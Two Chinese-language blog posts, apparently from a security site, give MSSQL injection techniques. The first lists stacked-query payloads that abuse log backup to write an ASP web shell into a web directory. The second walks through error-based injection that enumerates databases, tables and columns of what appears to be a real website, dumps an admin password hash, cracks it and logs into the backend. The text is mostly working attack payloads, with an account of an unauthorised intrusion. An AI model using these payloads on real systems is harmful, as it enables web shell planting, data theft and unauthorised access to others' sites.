mssql log 备份拿 shell

Y4er — Sun, 11 Mar 2018 14:13:57 +0000

;alter database xxxx set RECOVERY FULL--
;create table cmd (a image)--
;backup log xxxx to disk = 'd:/web/1.bak' with init--
;insert into cmd (a) values ('')--
;backup log xxxx to disk = 'd:/web/2.asp'--

需要支持 Stacked Queries

mssql 2008 显错注入

Y4er — Sun, 21 Jan 2018 15:23:00 +0000

网站 sqlmap 跑红了新网主机真 nb

db_name() 当前数据库

user 当前用户

@@version 版本

后面的 ‘%25’=’ 用来闭合

爆库语句

id=1 and (select name from master.dbo.sysdatabases where dbid=1)>0

这里是 master.dbo.sysdatabases 也可以写成 master..sysdatabases

不同的 dbid 对应不同的数据库

dbid = 1

dbid = 2

以此类推

爆表语句

id=1 and (select top 1 name from 数据库.dbo.sysobjects where xtype='U')>0

这里的数据库是 bds0020190_db

查询第一个表

查询第二个表

id=1 and (select top 1 name from 数据库.dbo.sysobjects where xtype='U' and name not in('第一个表'))>0

注意要用双引号括起来

爆列之前先要知道表的 id

爆表 id 语句

id=1 and (select top 1 cast(name as varchar(100))%2b'^'%2bcast(id as varchar(100)) from 数据库.dbo.sysobjects where xtype='U')>0

同样查询第二个表

id=1 and (select top 1 cast(name as varchar(100))%2b'^'%2bcast(id as varchar(100)) from 数据库.dbo.sysobjects where xtype='U' and name not in('第一个表'))>0

Sifung_Admins id 85575343

暴列语句

id=1 and (select top 1 name from 数据库.dbo.syscolumns where id=id)>0

查询第二个列

id=1 and (select top 1 name from 数据库.dbo.syscolumns where id=id and name not in('第一个列'))>0

爆数据语句

id=1 and (select top 1 cast(表 as varchar(100))%2b'^'%2bcast(Sifung_Admin_PWD as varchar(100)) from 数据库.dbo.表名)>0

一次性爆多个列

and (select top 1 cast(列名1 as varchar(100))%2b'^'%2bcast(列名2 as varchar(100)) from 数据库.dbo.表名)>0

爆第二个数据

and (select top 1 cast(列名1 as varchar(100))%2b'^'%2bcast(列名2 as varchar(100)) from 数据库.dbo.表名 where 1=1 and 列名1 not in('第一个数据'))>0

如果是同数据库的话可以直接 from 表名

1005 202cb962ac59075b964b07152d234b70 解密 123

登录后台

用户名是数字应该是员工的账号

也懒得找管理员了…

mssql – ChaBug安全

mssql log 备份拿 shell

mssql 2008 显错注入